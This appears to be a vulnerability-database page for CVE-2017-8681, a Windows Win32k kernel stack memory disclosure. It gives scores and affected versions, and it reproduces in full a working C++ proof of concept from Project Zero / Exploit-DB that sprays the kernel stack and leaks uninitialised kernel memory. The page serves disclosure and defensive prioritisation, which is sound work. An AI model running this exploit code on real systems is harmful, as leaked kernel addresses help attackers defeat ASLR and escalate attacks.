CVE-2017-8681

medium
Published 2017-09-13 ยท Modified 2026-05-13
CVSS v3
5.5
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
6.5

Description

The Windows kernel component on Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, and 1703, and Windows Server 2016 allows an information disclosure vulnerability when it improperly handles objects in memory, aka "Win32k Information Disclosure Vulnerability". This CVE ID is unique from CVE-2017-8678, CVE-2017-8680, CVE-2017-8677, and CVE-2017-8687.

Predictions

Exploit likelihood
55%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-42742 dos windows verified text ยท 6 KB
Google Security Research ยท 2017-09-18

Microsoft Windows Kernel - 'win32k!NtGdiGetPhysicalMonitorDescription' Stack Memory Disclosure

text exploit Source: Exploit-DB
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1268

We have discovered that the nt!NtGdiGetPhysicalMonitorDescription system call discloses portions of uninitialized kernel stack memory to user-mode clients, on Windows 7 to Windows 10.

This is caused by the fact that the syscall copies a whole stack-based array of 256 bytes (128 wide-chars) to the caller, but typically only a small portion of the buffer is used to store the requested monitor description, while the rest of it remains uninitialized. This memory region contains sensitive information such as addresses of executable images, kernel stack, kernel pools and stack cookies.

The attached proof-of-concept program demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call. An example output is as follows:

--- cut ---
00000000: 47 00 65 00 6e 00 65 00 72 00 69 00 63 00 20 00 G.e.n.e.r.i.c. .
00000010: 4e 00 6f 00 6e 00 2d 00 50 00 6e 00 50 00 20 00 N.o.n.-.P.n.P. .
00000020: 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 00 00 M.o.n.i.t.o.r...
00000030: 74 00 6f 00 72 00 2e 00 64 00 65 00 76 00 69 00 t.o.r...d.e.v.i.
00000040: 63 00 65 00 64 00 65 00 73 00 63 00 25 00 3b 00 c.e.d.e.s.c.%.;.
00000050: 47 00 65 00 6e 00 65 00 72 00 69 00 63 00 20 00 G.e.n.e.r.i.c. .
00000060: 4e 00 6f 00 6e 00 2d 00 50 00 6e 00 50 00 20 00 N.o.n.-.P.n.P. .
00000070: 4d 00 6f 00 6e 00 69 00 74 00 6f 00 72 00 00 00 M.o.n.i.t.o.r...
00000080: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000090: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000a0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000b0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000c0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000d0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000e0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000000f0: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
--- cut ---

If the stack spraying part of the PoC code is disabled, we can immediately observe various kernel-mode addresses in the dumped memory area.

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <PhysicalMonitorEnumerationAPI.h>
#include <cstdio>

extern "C"
NTSTATUS WINAPI NtMapUserPhysicalPages(
  PVOID BaseAddress,
  ULONG NumberOfPages,
  PULONG PageFrameNumbers
  );

NTSTATUS(WINAPI *GetPhysicalMonitorDescription)(
  _In_   HANDLE hMonitor,
  _In_   DWORD dwPhysicalMonitorDescriptionSizeInChars,
  _Out_  LPWSTR szPhysicalMonitorDescription
  );

#define PHYSICAL_MONITOR_DESCRIPTION_SIZE 128
#define STATUS_SUCCESS                    0

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PVOID ptr, BYTE byte, ULONG size) {
  PBYTE _ptr = (PBYTE)ptr;
  for (ULONG i = 0; i < size; i++) {
    _ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  // Buffer allocated in static program memory, hence doesn't touch the local stack.
  static SIZE_T buffer[1024];

  // Fill the buffer with 'A's and spray the kernel stack.
  MyMemset(buffer, 'A', sizeof(buffer));
  NtMapUserPhysicalPages(buffer, ARRAYSIZE(buffer), (PULONG)buffer);

  // Make sure that we're really not touching any user-mode stack by overwriting the buffer with 'B's.
  MyMemset(buffer, 'B', sizeof(buffer));
}

int main() {
  WCHAR OutputBuffer[PHYSICAL_MONITOR_DESCRIPTION_SIZE];

  HMODULE hGdi32 = LoadLibrary(L"gdi32.dll");
  GetPhysicalMonitorDescription = (NTSTATUS(WINAPI *)(HANDLE, DWORD, LPWSTR))GetProcAddress(hGdi32, "GetPhysicalMonitorDescription");

  // Create a window for referencing a monitor.
  HWND hwnd = CreateWindowW(L"BUTTON", L"TestWindow", WS_OVERLAPPEDWINDOW | WS_VISIBLE,
                            CW_USEDEFAULT, CW_USEDEFAULT, 100, 100, NULL, NULL, 0, 0);

  /////////////////////////////////////////////////////////////////////////////
  // Source: https://msdn.microsoft.com/en-us/library/windows/desktop/dd692950(v=vs.85).aspx
  /////////////////////////////////////////////////////////////////////////////
  HMONITOR hMonitor = NULL;
  DWORD cPhysicalMonitors;
  LPPHYSICAL_MONITOR pPhysicalMonitors = NULL;

  // Get the monitor handle.
  hMonitor = MonitorFromWindow(hwnd, MONITOR_DEFAULTTOPRIMARY);

  // Get the number of physical monitors.
  BOOL bSuccess = GetNumberOfPhysicalMonitorsFromHMONITOR(hMonitor, &cPhysicalMonitors);

  if (bSuccess) {
    // Allocate the array of PHYSICAL_MONITOR structures.
    pPhysicalMonitors = (LPPHYSICAL_MONITOR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cPhysicalMonitors * sizeof(PHYSICAL_MONITOR));

    if (pPhysicalMonitors != NULL) {
      // Get the array.
      bSuccess = GetPhysicalMonitorsFromHMONITOR(hMonitor, cPhysicalMonitors, pPhysicalMonitors);

      if (bSuccess) {
        for (DWORD i = 0; i < cPhysicalMonitors; i++) {
          RtlZeroMemory(OutputBuffer, sizeof(OutputBuffer));
          
          SprayKernelStack();

          NTSTATUS st = GetPhysicalMonitorDescription(pPhysicalMonitors[i].hPhysicalMonitor, PHYSICAL_MONITOR_DESCRIPTION_SIZE, OutputBuffer);
          if (st == STATUS_SUCCESS) {
            PrintHex((PBYTE)OutputBuffer, sizeof(OutputBuffer));
          } else {
            printf("[-] GetPhysicalMonitorDescription failed, %x\n", st);
          }
        }

        // Close the monitor handles.
        bSuccess = DestroyPhysicalMonitors(cPhysicalMonitors, pPhysicalMonitors);
      }

      // Free the array.
      HeapFree(GetProcessHeap(), 0, pPhysicalMonitors);
    }
  }

  DestroyWindow(hwnd);

  return 0;
}

OS impact

windows Windows Affected 6 releases
VersionStatusFixed in
r2 Affected โ€”
1703 Affected โ€”
1607 Affected โ€”
1511 Affected โ€”
- Affected โ€”
โ€” Affected โ€”

References

CWEs

CWE-200

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.